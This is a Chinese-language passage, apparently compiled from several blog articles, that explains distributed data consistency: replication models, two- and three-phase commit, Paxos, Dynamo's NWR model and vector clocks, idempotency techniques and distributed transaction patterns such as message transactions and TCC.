同时,我们还要考虑性能因素,如果不考虑性能的话,事务完成并不困难,系统慢一点就行了。除了考虑性能外,我们还要考虑可用性,也就是说,一台机器没了,数据不丢失,服务可由别的机器继续提供。 于是,我们需要重点考虑下面的这么几个情况:

  • 容灾: 数据不丢、结点的Failover

  • 数据的一致性: 事务处理

  • 性能: 吞吐量 、 响应时间


前面说过,要解决数据不丢,只能通过数据冗余的方法,就算是数据分区,每个区也需要进行数据冗余处理。这就是数据副本:当出现某个节点的数据丢失时可以从 副本读到,数据副本是分布式系统解决数据丢失异常的唯一手段。所以,在这篇文章中,我们只讨论在数据冗余情况下考虑数据的一致性和性能的问题。简单说来:

要想让数据有高可用性,就得写多份数据。

写多份的问题会导致数据一致性的问题。

数据一致性的问题又会引发性能问题


  • 这就是软件开发,按下了葫芦起了瓢。



一致性模型



说起数据一致性来说,简单说有三种类型(当然,如果细分的话,还有很多一致性模型,如:顺序一致性,FIFO一致性,会话一致性,单读一致性,单写一致性,但为了本文的简单易读,我只说下面三种):



1、Weak 弱一致性: 当你写入一个新值后,读操作在数据副本上可能读出来,也可能读不出来。比如:某些cache系统,网络游戏其它玩家的数据和你没什么关系,VOIP这样的系统,或是百度搜索引擎。


2、Eventually 最终一致性: 当你写入一个新值后,有可能读不出来,但在某个时间窗口之后保证最终能读出来。比如:DNS,电子邮件、Amazon S3,Google搜索引擎这样的系统。


3、Strong 强一致性: 新的数据一旦写入,在任意副本任意时刻都能读到新值。比如:文件系统,RDBMS,Azure Table都是强一致性的。


从这三种一致型的模型上来说,我们可以看到,Weak和Eventually一般来说是异步冗余的,而Strong一般来说是同步冗余的,异步的通常意味 着更好的性能,但也意味着更复杂的状态控制;同步意味着简单,但也意味着性能下降。让我们由浅入深,一步一步地来看有哪些技术:


Master-Slave

首先是Master-Slave结构,对于这种加构,Slave一般是Master的备份。在这样的系统中,一般是如下设计的:

  • 读写请求都由Master负责。

  • 写请求写到Master上后,由Master同步到Slave上。


从Master同步到Slave上,可以使用异步,也可以使用同步,可以使用Master来push,也可以使用Slave来pull。 通常来说是 Slave来周期性的pull,所以是最终一致性。这个设计的问题是,如果Master在pull周期内垮掉了,那么会导致这个时间片内的数据丢失。如果 你不想让数据丢掉,Slave只能成为Read-Only的方式等Master恢复。


当然,如果可以容忍数据丢掉的话,可以马上让Slave代替Master工作(对于只负责计算的结点来说,没有数据一致性和数据丢失的问 题,Master-Slave的方式就可以解决单点问题了)


当然,Master Slave也可以是强一致性的, 比如:当写Master的时 候,Master负责先备份,等成功后,再写Slave,两者都成功后返回成功,整个过程是同步的,如果写Slave失败了,那么两种方法,一种是标记 Slave不可用报错并继续服务(等Slave恢复后同步Master的数据,可以有多个Slave,这样少一个,还有备份,就像前面说的写三份那样), 另一种是回滚自己并返回写失败。


(注:一般不先写Slave,因为如果写Master自己失败后,还要回滚Slave,此时如果回滚Slave失败,就得 手工订正数据了)可以看到,如果Master-Slave需要做成强一致性有多复杂。


Master-Master

Master-Master,又叫 Multi-master , 是指一个系统存在两个或多个Master,每个Master都提供read-write服务。这个模型是Master-Slave加强版,数据间同步一般 是通过Master间异步完成,所以是最终一致性。


Master-Master的好处是一台Master挂了,别的Master可以正常做读写服务,这 个和Master-Slave一样,当数据没有被复制到别的Master上时数据会丢失。很多数据库都支持Master-Master的 Replication的机制。


另外,如果多个Master对同一个数据进行修改的时候,这个模型的恶梦就出现了——需要对数据间的冲突进行合并,这非常困难。看看Dynamo的 Vector Clock的设计(记录数据的版本号和修改者)就知道这个事并不那么简单,而且Dynamo对数据冲突这个事是交给用户自己搞的。


就像 SVN源码冲突一样,对于同一行代码的冲突,只能交给开发者自己来处理。(在本文后后面会讨论一下Dynamo的Vector Clock)


Two/Three Phase Commit

这个协议的缩写又叫2PC,中文叫两阶段提交。在分布式系统中,每个节点虽然可以知晓自己的操作时成功或者失败,却无法知道其他节点的操作的成功或失败。


当一个事务跨越多个节点时,为了保持事务的ACID特性,需要引入一个作为协调者的组件来统一掌控所有节点(称作参与者)的操作结果并最终指示这些节点是 否要把操作结果进行真正的提交(比如将更新后的数据写入磁盘等等)。 两阶段提交的算法如下:

第一阶段:

  • 协调者会问所有的参与者结点,是否可以执行提交操作。


  • 各个参与者开始事务执行的准备工作:如:为资源上锁,预留资源,写undo/redo log……


  • 参与者响应协调者,如果事务的准备工作成功,则回应“可以提交”,否则回应“拒绝提交”。


第二阶段:

  • 如果所有的参与者都回应“可以提交”,那么,协调者向所有的参与者发送“正式提交”的命令。参与者完成正式提交,并释放所有资源,然后回应“完成”,协调者收集各结点的“完成”回应后结束这个Global Transaction。


  • 如果有一个参与者回应“拒绝提交”,那么,协调者向所有的参与者发送“回滚操作”,并释放所有资源,然后回应“回滚完成”,协调者收集各结点的“回滚”回应后,取消这个Global Transaction。




可以看到,2PC说白了就是第一阶段做Vote,第二阶段做决定的一个算法,也可以看到2PC这个事是强一致性的算法。在前面讨论过Master- Slave的强一致性策略,和2PC有点相似,只不过2PC更为保守一些——先尝试再提交。


2PC用的是比较多的,在一些系统设计中,会串联一系列的调 用,比如:A -> B -> C -> D,每一步都会分配一些资源或改写一些数据。比如B2C网上购物的下单操作在后台会有一系列 的流程需要做。


如果一步一步地做,就会出现这样的问题,如果某一步做不下去了,那么前面每一次所分配的资源需要做反向操作把他们都回收掉,所以,操作起来 比较复杂。现在很多处理流程(Workflow)都会借鉴2PC这个算法,使用 try -> confirm的流程来确保整个流程的能够成功完 成。


举个通俗的例子,西方教堂结婚的时候,都有这样的桥段:

1、牧师分别问新郎和新娘:你是否愿意……不管生老病死……


2、当新郎和新娘都回答愿意后(锁定一生的资源),牧师就会说:我宣布你们……(事务提交)


这是多么经典的一个两阶段提交的事务处理。 另外可以看到其中的一些问题, A)其中一个是同步阻塞操作,这个事情必然会非常大地影响性能。 B)另一个主要的问题是在TimeOut上,比如,


1、如果第一阶段中,参与者没有收到询问请求 ,或是参与者的回应没有到达协调者。那么,需要协调者做超时处理,一旦超时,可以当作失败,也可以重试。


2、如果第二阶段中,正式提交发出后,如果有的参与者没有收到 ,或是参与者提交/回滚后的确认信息没有返回,一旦参与者的回应超时,要么重试,要么把那个参与者标记为问题结点剔除整个集群,这样可以保证服务结点都是数据一致性的。


3、糟糕的情况是, 第二阶段中,如果参与者收不到协调者的commit/fallback指令, 参与者将处于“状态未知”阶段,参与者完全不知道要怎么办,比如:如果所有的参与者完成第一阶段的回复后(可能全部yes,可能全部no,可能部分yes 部分no),如果协调者在这个时候挂掉了。那么所有的结点完全不知道怎么办(问另的参与者都不行)。为了一致性,要么死等协调者,要么重发第一阶段的 yes/no命令。


两段提交最大的问题就是第3项,如果第一阶段完成后,参与者在第二阶没有收到决策,那么数据结点会进入“不知所措”的状态,这个状态会block住整个事 务。也就是说,协调者Coordinator对于事务的完成非常重要,Coordinator的可用性是个关键。


因些,我们引入三段提交,三段提交在 Wikipedia 上的描述如下,他把二段提交的第一个段break成了两段:询问,然后再锁资源。最后真正提交。三段提交的示意图如下:

三段提交的核心理念是:在询问的时候并不锁定资源,除非所有人都同意了,才开始锁资源。


理论上来说,如果第一阶段所有的结点返回成功,那么有理由相信成功提交的概率很大。这样一来,可以降低参与者Cohorts的状态未知的概率。也就是说, 一旦参与者收到了PreCommit,意味他知道大家其实都同意修改了。这一点很重要。下面来看一下3PC的状态迁移图:(注间图中的虚线,那些F,T是 Failuer或Timeout,其中的:状态含义 是 q – Query,a – Abort,w – Wait,p – PreCommit,c – Commit)


其实,三段提交是一个很复杂的事情,实现起来相当难,而且也有一些问题。


看到这里,我相信你有很多很多的问题,你一定在思考2PC/3PC中各种各样的失败场景,你会发现Timeout是个非常难处理的事情,因为网络上的 Timeout在很多时候让你无所事从,你也不知道对方是做了还是没有做。于是你好好的一个状态机就因为Timeout成了个摆设。


一个网络服务会有三种状态:1)Success,2)Failure,3)Timeout,第三个绝对是恶梦,尤其在你需要维护状态的时候。


Two Generals Problem (两将军问题)


Two Generals Problem 两将军问题是这么一个思维性实验问题: 有两支军队,它们分别有一位将军领导,现在准备攻击一座修筑了防御工 事的城市。这两支军队都驻扎在那座城市的附近,分占一座山头。一道山谷把两座山分隔开来,并且两位将军唯一的通信方式就是派各自的信使来往于山谷两边。


不 幸的是,这个山谷已经被那座城市的保卫者占领,并且存在一种可能,那就是任何被派出的信使通过山谷是会被捕。 请注意,虽然两位将军已经就攻击那座城市达 成共识,但在他们各自占领山头阵地之前,并没有就进攻时间达成共识。两位将军必须让自己的军队同时进攻城市才能取得成功。


因此,他们必须互相沟通,以确定 一个时间来攻击,并同意就在那时攻击。如果只有一个将军进行攻击,那么这将是一个灾难性的失败。 这个思维实验就包括考虑将军如何去做这件事情。下面是对 于这件事情的思考:

1、第一位将军先发送一段消息“让我们 在上午9点开始进攻”。然而,一旦信使被派遣,他是否通过了山谷,第一位将军就不得而知了。任何一点的不确定性都会使得第一位将军攻击犹豫,因为如果第二 位将军不能在同一时刻发动攻击,那座城市的驻军就会击退他的军队的进攻,导致他的军对被摧毁。


2、知道了这一点,第二位将军就需要发送一个确认消息:“我收到您的信息,并会在9点的攻击。”但是,如果带着确认消息的信使被抓怎么办?所以第二位将军会犹豫自己的确认消息是否能到达。


3、于是,似乎我们还要让第一位将军再发送一条确认消息——“我收到了你的确认”。然而,如果这位信使被抓怎么办呢?


4、这样一来,是不是我们还要第二位将军发送一个“确认收到你的确认”的信息。


于是你会发现,这事情很快就发展成为不管发送多少个确认消息,都没有办法来保证两位将军有足够的自信自己的信使没有被敌军捕获。



这个问题是无解的。两个将军问题和它的无解证明首先由E.A.Akkoyunlu,K.Ekanadham和R.V.Huber于1975年在《一些限制 与折衷的网络通信设计》一文中发表,就在这篇文章的第73页中一段描述两个黑帮之间的通信中被阐明。


1978年,在Jim Gray的《数据库操作系统 注意事项》一书中(从第465页开始)被命名为两个将军悖论。作为两个将军问题的定义和无解性的证明的来源,这一参考被广泛提及。


这个实验意在阐明:试图通过建立在一个不可靠的连接上的交流来协调一项行动的隐患和设计上的巨大挑战。


从工程上来说,一个解决两个将军问题的实际方法是使用一个能够承受通信信道不可靠性的方案,并不试图去消除这个不可靠性,但要将不可靠性削减到一个可以接 受的程度。


比如,第一位将军排出了100位信使并预计他们都被捕的可能性很小。在这种情况下,不管第二位将军是否会攻击或者受到任何消息,第一位将军都会 进行攻击。


另外,第一位将军可以发送一个消息流,而第二位将军可以对其中的每一条消息发送一个确认消息,这样如果每条消息都被接收到,两位将军会感觉更 好。


然而从证明中来看,他们俩都不能肯定这个攻击是可以协调的。他们没有算法可用(比如,收到4条以上的消息就攻击)能够确保防止仅有一方攻击。再者,第 一位将军还可以为每条消息编号,说这是1号,2号……直到n号。这种方法能让第二位将军知道通信信道到底有多可靠,并且返回合适的数量的消息来确保最后一 条消息被接收到。如果信道是可靠的话,只要一条消息就行了,其余的就帮不上什么忙了。最后一条和第一条消息丢失的概率是相等的。


两将军问题可以扩展成更变态的拜占庭将军问题 (Byzantine Generals Problem),其故事背景是这样的:拜占庭位于现在土耳其 的伊斯坦布尔,是东罗马帝国的首都。


由于当时拜占庭罗马帝国国土辽阔,为了防御目的,因此每个军队都分隔很远,将军与将军之间只能靠信差传消息。 在战争 的时候,拜占庭军队内所有将军必需达成一致的共识,决定是否有赢的机会才去攻打敌人的阵营。


但是,军队可能有叛徒和敌军间谍,这些叛徒将军们会扰乱或左右 决策的过程。这时候,在已知有成员谋反的情况下,其余忠诚的将军在不受叛徒的影响下如何达成一致的协议,这就是拜占庭将军问题。


PAXOS算法

Wikipedia上的各种Paxos算法的描述非常详细,大家可以去围观一下。


Paxos 算法解决的问题是在一个可能发生上述异常的分布式系统中如何就某个值达成一致,保证不论发生以上任何异常,都不会破坏决议的一致性。一个典型 的场景是,在一个分布式数据库系统中,如果各节点的初始状态一致,每个节点都执行相同的操作序列,那么他们最后能得到一个一致的状态。


为保证每个节点执行 相同的命令序列,需要在每一条指令上执行一个「一致性算法」以保证每个节点看到的指令一致。一个通用的一致性算法可以应用在许多场景中,是分布式计算中的 重要问题。从20世纪80年代起对于一致性算法的研究就没有停止过。


Notes:Paxos算法是莱斯利·兰伯特(Leslie Lamport,就是 LaTeX 中的”La”,此人现在在微软研究院)于1990年提出 的一种基于消息传递的一致性算法。由于算法难以理解起初并没有引起人们的重视,使Lamport在八年后1998年重新发表到 ACM Transactions on Computer Systems上。


即便如此paxos算法还是没有得到重视,2001年Lamport 觉 得同行无法接受他的幽默感,于是用容易接受的方法重新表述了一遍。可见Lamport对Paxos算法情有独钟。近几年Paxos算法的普遍使用也证明它 在分布式一致性算法中的重要地位。


2006年Google的三篇论文初现“云”的端倪,其中的Chubby Lock服务使用Paxos作为 Chubby Cell中的一致性算法,Paxos的人气从此一路狂飙。(Lamport 本人在他的blog 中描写了他用9年时间发表这个算法的前前 后后)


注:Amazon的AWS中,所有的云服务都基于一个ALF(Async Lock Framework)的框架实现的,这个ALF用的就是Paxos算 法。我在Amazon的时候,看内部的分享视频时,设计者在内部的Principle Talk里说他参考了ZooKeeper的方法,但他用了另一种比 ZooKeeper更易读的方式实现了这个算法。


简单说来,Paxos的目的是让整个集群的结点对某个值的变更达成一致。Paxos算法基本上来说是个民主选举的算法——大多数的决定会成个整个集群的统 一决定。任何一个点都可以提出要修改某个数据的提案,是否通过这个提案取决于这个集群中是否有超过半数的结点同意(所以Paxos算法需要集群中的结点是 单数)。


这个算法有两个阶段(假设这个有三个结点:A,B,C):

第一阶段:Prepare阶段

A把申请修改的请求Prepare Request发给所有的结点A,B,C。注意,Paxos算法会有一个Sequence Number(你可以认为 是一个提案号,这个数不断递增,而且是唯一的,也就是说A和B不可能有相同的提案号),这个决议号会和修改请求一同发出,任何结点在“Prepare阶 段”时都会拒绝其实小于当前提案号的请求。所以,结点A在向所有结点申请修改请求的时候,需要带一个提案号,越新的提案,这个提案号就越是是最大的。


如果接收结点收到的提案号n大于其它结点发过来的提案号,这个结点会回应Yes(本结点上最新的被批准提案号),并保证不接收其它

优化:在上述 prepare 过程中,如果任何一个结点发现存在一个更高编号的提案,则需要通知 提案人,提醒其中断这次提案。


第二阶段:Accept阶段

如果提案者A收到了超过半数的结点返回的Yes,然后他就会向所有的结果发布Accept Request(同样,需要带上提案号n),如果没有超过半数的话,那就返回失败。


当结点们收到了Accept Request后,如果对于接收的结果来说,n是最大的了,那么,它就会修改这个值,如果发现自己有一个更大的提案号,那么,结点就会拒绝修改。


我们可以看以,这似乎就是一个“两段提交”的优化。其实,2PC/3PC都是分布式一致性算法的残次版本,Google Chubby的作者Mike Burrows说过这个世界上只有一种一致性算法,那就是Paxos,其它的算法都是残次品。


我们还可以看到:对于同一个值的在不同结点的修改提案就算是在接收方被乱序收到也是没有问题的。


关于一些实例,你可以看一下Wikipedia中文中的“ Paxos样例 ”一节,我在这里就不再多说了。对于Paxos算法中的一些异常示例,大家可以自己推导一下。你会发现基本上来说只要保证有半数以上的结点存活,就没有什么问题。


多说一下,自从Lamport在1998年发表Paxos算法后,对Paxos的各种改进工作就从未停止,其中动作最大的莫过于2005年发表的 Fast Paxos 。无论何种改进,其重点依然是在消息延迟与性能、吞吐量之间作出各种权衡。为了容易地从概念上区分二者,称前者Classic Paxos,改进后的后者为Fast Paxos。


下图来自:Google App Engine的co-founder Ryan Barrett在2009年的google i/o上的演讲:

前面,我们说过,要想让数据有高可用性,就需要冗余数据写多份。写多份的问题会带来一致性的问题,而一致性的问题又会带来性能问题。从上图我们可以看到,我们基本上来说不可以让所有的项都绿起来,这就是著名的CAP理论:一致性,可用性,分区容忍性,你可以要其中的两个。


NWR模型

最后我还想提一下Amazon Dynamo的NWR模型。这个NWR模型把CAP的选择权交给了用户,让用户自己的选择你的CAP中的哪两个。


所谓NWR模型。N代表N个备份,W代表要写入至少W份才认为成功,R表示至少读取R个备份。配置的时候要求W+R > N。 因为 W+R > N, 所以 R > N-W 这个是什么意思呢?就是读取的份数一定要比总备份数减去确保写成功的倍数的差值要大。


也就是说,每次读取,都至少读取到一个最新的版本。从而不会读到一份旧数据。当我们需要高可写的环境的时候,我们可以配置W = 1 如果N=3 那么 R = 3。


这个时候只要写任何节点成功就认为成功,但是读的时候必须从所有的节点都读出数据。如果我们要求读的高效率,我们可以配 置 W=N R=1。这个时候任何一个节点读成功就认为成功,但是写的时候必须写所有三个节点成功才认为成功。


NWR模型的一些设置会造成脏数据的问题,因为这很明显不是像Paxos一样是一个强一致的东西,所以,可能每次的读写操作都不在同一个结点上,于是会出现一些结点上的数据并不是最新版本,但却进行了最新的操作。


所以,Amazon Dynamo引了数据版本的设计。也就是说,如果你读出来数据的版本是v1,当你计算完成后要回填数据后,却发现数据的版本号已经被人更新成了v2,那么服务器就会拒绝你。版本这个事就像“乐观锁”一样。


但是,对于分布式和NWR模型来说,版本也会有恶梦的时候——就是版本冲的问题,比如:我们设置了N=3 W=1,如果A结点上接受了一个值,版本由 v1 -> v2,但还没有来得及同步到结点B上(异步的,应该W=1,写一份就算成功),B结点上还是v1版本,此时,B结点接到写请求,按道理 来说,他需要拒绝掉,但是他一方面并不知道别的结点已经被更新到v2,另一方面他也无法拒绝,因为W=1,所以写一分就成功了。于是,出现了严重的版本冲 突。


Amazon的Dynamo把版本冲突这个问题巧妙地回避掉了——版本冲这个事交给用户自己来处理。



于是,Dynamo引入了Vector Clock(矢量钟?!)这个设计。这个设计让每个结点各自记录自己的版本信息,也就是说,对于同一个数据,需要记录两个事:1)谁更新的我,2)我的版本号是什么。


下面,我们来看一个操作序列:

1、一个写请求,第一次被节点A处理了。节点A会增加一个版本信息(A,1)。我们把这个时候的数据记做D1(A,1)。 然后另外一个对同样key的请求还是被A处理了于是有D2(A,2)。这个时候,D2是可以覆盖D1的,不会有冲突产生。


2、现在我们假设D2传播到了所有节点(B和C),B和C收到的数据不是从客户产生的,而是别人复制给他们的,所以他们不产生新的版本信息,所以现在B和C所持有的数据还是D2(A,2)。于是A,B,C上的数据及其版本号都是一样的。


3、如 果我们有一个新的写请求到了B结点上,于是B结点生成数据D3(A,2; B,1),意思是:数据D全局版本号为3,A升了两新,B升了一次。这不就是所 谓的代码版本的log么?如果D3没有传播到C的时候又一个请求被C处理了,于是,以C结点上的数据是D4(A,2; C,1)。


4、如果D3没有传播到C的时候又一个请求被C处理了,于是,以C结点上的数据是D4(A,2; C,1)。


5、好,最精彩的事情来了:如果这个时候来了一个读请求,我们要记得,我们的W=1 那么R=N=3,所以R会从所有三个节点上读,此时,他会读到三个版本:


  • A结点:D2(A,2)

  • B结点:D3(A,2; B,1);C结点:D4(A,2; C,1)

  • C结点:D4(A,2; C,1)


6、这个时候可以判断出,D2已经是旧版本(已经包含在D3/D4中),可以舍弃。


7、但是D3和D4是明显的版本冲突。于是,交给调用方自己去做版本冲突处理。就像源代码版本管理一样。

很明显,上述的Dynamo的配置用的是CAP里的A和P。

系统分布式情况下最终一致性方案梳理

前言

目前的应用系统,不管是企业级应用还是互联网应用,最终数据的一致性是每个应用系统都要面临的问题,随着分布式的逐渐普及,数据一致性更加艰难,但是也很难有银弹的解决方案,也并不是引入特定的中间件或者特定的开源框架能够解决的,更多的还是看业务场景,根据场景来给出解决方案。根据笔者最近几年的了解,总结了几个点,更多的应用系统在编码的时候,更加关注数据的一致性,这样系统才是健壮的。


基础理论相关

说起事务,目前的几个理论,ACID事务特性,CAP分布式理论,以及BASE等,ACID在数据库事务中体现,CAP和BASE则是分布式事务的理论,结合业务系统,例如订单管理,例如仓储管理等,可以借鉴这些理论,从而解决问题。


ACID 特性

A(原子性)事务的原子操作单元,对数据的修改,要么全部执行,要么全部不执行;

C(一致性)在事务开始和完成时,数据必须保持一致状态,相关的数据规则必须应用于事务的修改,以保证数据的完整性,事务结束时,所有的内部数据结构必须正确;

I(隔离性)保证事务不受外部并发操作的独立环境执行;

D(持久性)事务完成之后,对于数据的修改是永久的,即使系统出现故障也能够保持;


CAP

C(一致性)一致性是指数据的原子性,在经典的数据库中通过事务来保障,事务完成时,无论成功或回滚,数据都会处于一致的状态,在分布式环境下,一致性是指多个节点数据是否一致;

A(可用性)服务一直保持可用的状态,当用户发出一个请求,服务能在一定的时间内返回结果;

P(分区容忍性)在分布式应用中,可能因为一些分布式的原因导致系统无法运转,好的分区容忍性,使应用虽然是一个分布式系统,但是好像一个可以正常运转的整体


BASE

BA: Basic Availability 基本业务可用性;

S: Soft state 柔性状态;

E: Eventual consistency 最终一致性;


最终一致性的几种做法

images/BT7P6dQiYYB7rDndHC8T3aCR8PSXbykt.png


单数据库情况下的事务


如果应用系统是单一的数据库,那么这个很好保证,利用数据库的事务特性来满足事务的一致性,这时候的一致性是强一致性的。对于java应用系统来讲,很少直接通过事务的start和commit以及rollback来硬编码,大多通过spring的事务模板或者声明式事务来保证。


基于事务型消息队列的最终一致性

借助消息队列,在处理业务逻辑的地方,发送消息,业务逻辑处理成功后,提交消息,确保消息是发送成功的,之后消息队列投递来进行处理,如果成功,则结束,如果没有成功,则重试,直到成功,不过仅仅适用业务逻辑中,第一阶段成功,第二阶段必须成功的场景。对应上图中的C流程。


基于消息队列+定时补偿机制的最终一致性

前面部分和上面基于事务型消息的队列,不同的是,第二阶段重试的地方,不再是消息中间件自身的重试逻辑了,而是单独的补偿任务机制。其实在大多数的逻辑中,第二阶段失败的概率比较小,所以单独独立补偿任务表出来,可以更加清晰,能够比较明确的直到当前多少任务是失败的。对应上图的E流程。


业务系统业务逻辑的commit/rollback机制

这一点说的话确实不难,commit和rollback是数据库事务中的比较典型的概念,但是在系统分布式情况下,需要业务代码中实现这种,成功了commit,失败了rollback。


业务应用系统的幂等性控制

为啥要做幂等呢? 原因很简单,在系统调用没有达到期望的结果后,会重试。那重试就会面临问题,重试之后不能给业务逻辑带来影响,例如创建订单,第一次调用超时了,但是调用的系统不知道超时了是成功了还是失败了,然后他就重试,但是实际上第一次调用订单创建是成功了的,这时候重试了,显然不能再创建订单了。


--查询

查询的API,可以说是天然的幂等性,因为你查询一次和查询两次,对于系统来讲,没有任何数据的变更,所以,查询一次和查询多次一样的。


--MVCC方案

多版本并发控制,update with condition,更新带条件,这也是在系统设计的时候,合理的选择乐观锁,通过version或者其他条件,来做乐观锁,这样保证更新及时在并发的情况下,也不会有太大的问题。例如update tablexxx set name=#name#,version=version+1 where version=#version# ,或者是 update tablexxx set quality=quality-#subQuality# where quality-#subQuality# >= 0 。


--单独的去重表

如果涉及到的去重的地方特别多,例如ERP系统中有各种各样的业务单据,每一种业务单据都需要去重,这时候,可以单独搞一张去重表,在插入数据的时候,插入去重表,利用数据库的唯一索引特性,保证唯一的逻辑。


--分布式锁

还是拿插入数据的例子,如果是分布是系统,构建唯一索引比较困难,例如唯一性的字段没法确定,这时候可以引入分布式锁,通过第三方的系统,在业务系统插入数据或者更新数据,获取分布式锁,然后做操作,之后释放锁,这样其实是把多线程并发的锁的思路,引入多多个系统,也就是分布式系统中得解决思路。


--删除数据

删除数据,仅仅第一次删除是真正的操作数据,第二次甚至第三次删除,直接返回成功,这样保证了幂等。


--插入数据的唯一索引

插入数据的唯一性,可以通过业务主键来进行约束,例如一个特定的业务场景,三个字段肯定确定唯一性,那么,可以在数据库表添加唯一索引来进行标示。


--API层面的幂等

这里有一个场景,API层面的幂等,例如提交数据,如何控制重复提交,这里可以在提交数据的form表单或者客户端软件,增加一个唯一标示,然后服务端,根据这个UUID来进行去重,这样就能比较好的做到API层面的唯一标示。


--状态机幂等

在设计单据相关的业务,或者是任务相关的业务,肯定会涉及到状态机,就是业务单据上面有个状态,状态在不同的情况下会发生变更,一般情况下存在有限状态机,这时候,如果状态机已经处于下一个状态,这时候来了一个上一个状态的变更,理论上是不能够变更的,这样的话,保证了有限状态机的幂等。


异步回调机制的引入

A应用调用B,在同步调用的返回结果中,B返回成功给到A,一般情况下,这时候就结束了,其实在99.99%的情况是没问题的,但是有时候为了确保100%,记住最起码在系统设计中100%,这时候B系统再回调A一下,告诉A,你调用我的逻辑,确实成功了。其实这个逻辑,非常类似TCP协议中的三次握手。上图中的B流程。


类似double check机制的确认机制

还是上图中异步回调的过程,A在同步调用B,B返回成功了。这次调用结束了,但是A为了确保,在过一段时间,这个时间可以是几秒,也可以是每天定时处理,再调用B一次,查询一下之前的那次调用是否成功。例如A调用B更新订单状态,这时候成功了,延迟几秒后,A查询B,确认一下状态是否是自己刚刚期望的。上图中的D流程。


总结

上面的几点总结,更多的在业务系统中体现,在超复杂的系统中,数据的一致性,不是说简单的引入啥中间件能够解决的,更多的是根据业务场景,来灵活应对。

深入理解分布式事务

1、什么是分布式事务

分布式事务就是指事务的参与者、支持事务的服务器、资源服务器以及事务管理器分别位于不同的分布式系统的不同节点之上。以上是百度百科的解释,简单的说,就是一次大的操作由不同的小操作组成,这些小的操作分布在不同的服务器上,且属于不同的应用,分布式事务需要保证这些小操作要么全部成功,要么全部失败。本质上来说,分布式事务就是为了保证不同数据库的数据一致性。

2、分布式事务的产生的原因

2.1、数据库分库分表

当数据库单表一年产生的数据超过1000W,那么就要考虑分库分表,具体分库分表的原理在此不做解释,以后有空详细说,简单的说就是原来的一个数据库变成了多个数据库。这时候,如果一个操作既访问01库,又访问02库,而且要保证数据的一致性,那么就要用到分布式事务。

images/AcKBC5WEiWcrCdhsWCRtYtakJ387hrRA.png

2.2、应用SOA化

所谓的SOA化,就是业务的服务化。比如原来单机支撑了整个电商网站,现在对整个网站进行拆解,分离出了订单中心、用户中心、库存中心。对于订单中心,有专门的数据库存储订单信息,用户中心也有专门的数据库存储用户信息,库存中心也会有专门的数据库存储库存信息。这时候如果要同时对订单和库存进行操作,那么就会涉及到订单数据库和库存数据库,为了保证数据一致性,就需要用到分布式事务。

images/NZBazXa8j6bsMYeD3NSbhfe7sSZaA77C.png

以上两种情况表象不同,但是本质相同,都是因为要操作的数据库变多了!

3、事务的ACID特性

3.1、原子性(A)

所谓的原子性就是说,在整个事务中的所有操作,要么全部完成,要么全部不做,没有中间状态。对于事务在执行中发生错误,所有的操作都会被回滚,整个事务就像从没被执行过一样。

3.2、一致性(C)

事务的执行必须保证系统的一致性,就拿转账为例,A有500元,B有300元,如果在一个事务里A成功转给B50元,那么不管并发多少,不管发生什么,只要事务执行成功了,那么最后A账户一定是450元,B账户一定是350元。

3.3、隔离性(I)

所谓的隔离性就是说,事务与事务之间不会互相影响,一个事务的中间状态不会被其他事务感知。

3.4、持久性(D)

所谓的持久性,就是说一单事务完成了,那么事务对数据所做的变更就完全保存在了数据库中,即使发生停电,系统宕机也是如此。

4、分布式事务的应用场景

4.1、支付

最经典的场景就是支付了,一笔支付,是对买家账户进行扣款,同时对卖家账户进行加钱,这些操作必须在一个事务里执行,要么全部成功,要么全部失败。而对于买家账户属于买家中心,对应的是买家数据库,而卖家账户属于卖家中心,对应的是卖家数据库,对不同数据库的操作必然需要引入分布式事务。

4.2、在线下单

买家在电商平台下单,往往会涉及到两个动作,一个是扣库存,第二个是更新订单状态,库存和订单一般属于不同的数据库,需要使用分布式事务保证数据一致性。

5、常见的分布式事务解决方案

5.1、基于XA协议的两阶段提交

XA是一个分布式事务协议,由Tuxedo提出。XA中大致分为两部分:事务管理器和本地资源管理器。其中本地资源管理器往往由数据库实现,比如Oracle、DB2这些商业数据库都实现了XA接口,而事务管理器作为全局的调度者,负责各个本地资源的提交和回滚。XA实现分布式事务的原理如下:

images/5ikSj6RmasePfYbpaRTEQDmwDRGQFrai.png

总的来说,XA协议比较简单,而且一旦商业数据库实现了XA协议,使用分布式事务的成本也比较低。但是,XA也有致命的缺点,那就是性能不理想,特别是在交易下单链路,往往并发量很高,XA无法满足高并发场景。XA目前在商业数据库支持的比较理想,在mysql数据库中支持的不太理想,mysql的XA实现,没有记录prepare阶段日志,主备切换回导致主库与备库数据不一致。许多nosql也没有支持XA,这让XA的应用场景变得非常狭隘。

5.2、消息事务+最终一致性

所谓的消息事务就是基于消息中间件的两阶段提交,本质上是对消息中间件的一种特殊利用,它是将本地事务和发消息放在了一个分布式事务里,保证要么本地操作成功成功并且对外发消息成功,要么两者都失败,开源的RocketMQ就支持这一特性,具体原理如下:

images/Ss6K4b6Szz8XazadNArxRstPJ2iRWjzG.png

1、A系统向消息中间件发送一条预备消息
2、消息中间件保存预备消息并返回成功
3、A执行本地事务
4、A发送提交消息给消息中间件

通过以上4步完成了一个消息事务。对于以上的4个步骤,每个步骤都可能产生错误,下面一一分析:

基于消息中间件的两阶段提交往往用在高并发场景下,将一个分布式事务拆成一个消息事务(A系统的本地操作+发消息)+B系统的本地操作,其中B系统的操作由消息驱动,只要消息事务成功,那么A操作一定成功,消息也一定发出来了,这时候B会收到消息去执行本地操作,如果本地操作失败,消息会重投,直到B操作成功,这样就变相地实现了A与B的分布式事务。原理如下:

images/pCThweebM6zdMmxthpbS8Ge8YD3MQnmN.png

虽然上面的方案能够完成A和B的操作,但是A和B并不是严格一致的,而是最终一致的,我们在这里牺牲了一致性,换来了性能的大幅度提升。当然,这种玩法也是有风险的,如果B一直执行不成功,那么一致性会被破坏,具体要不要玩,还是得看业务能够承担多少风险。

5.3、TCC编程模式

所谓的TCC编程模式,也是两阶段提交的一个变种。TCC提供了一个编程框架,将整个业务逻辑分为三块:Try、Confirm和Cancel三个操作。以在线下单为例,Try阶段会去扣库存,Confirm阶段则是去更新订单状态,如果更新订单失败,则进入Cancel阶段,会去恢复库存。总之,TCC就是通过代码人为实现了两阶段提交,不同的业务场景所写的代码都不一样,复杂度也不一样,因此,这种模式并不能很好地被复用。

6、总结

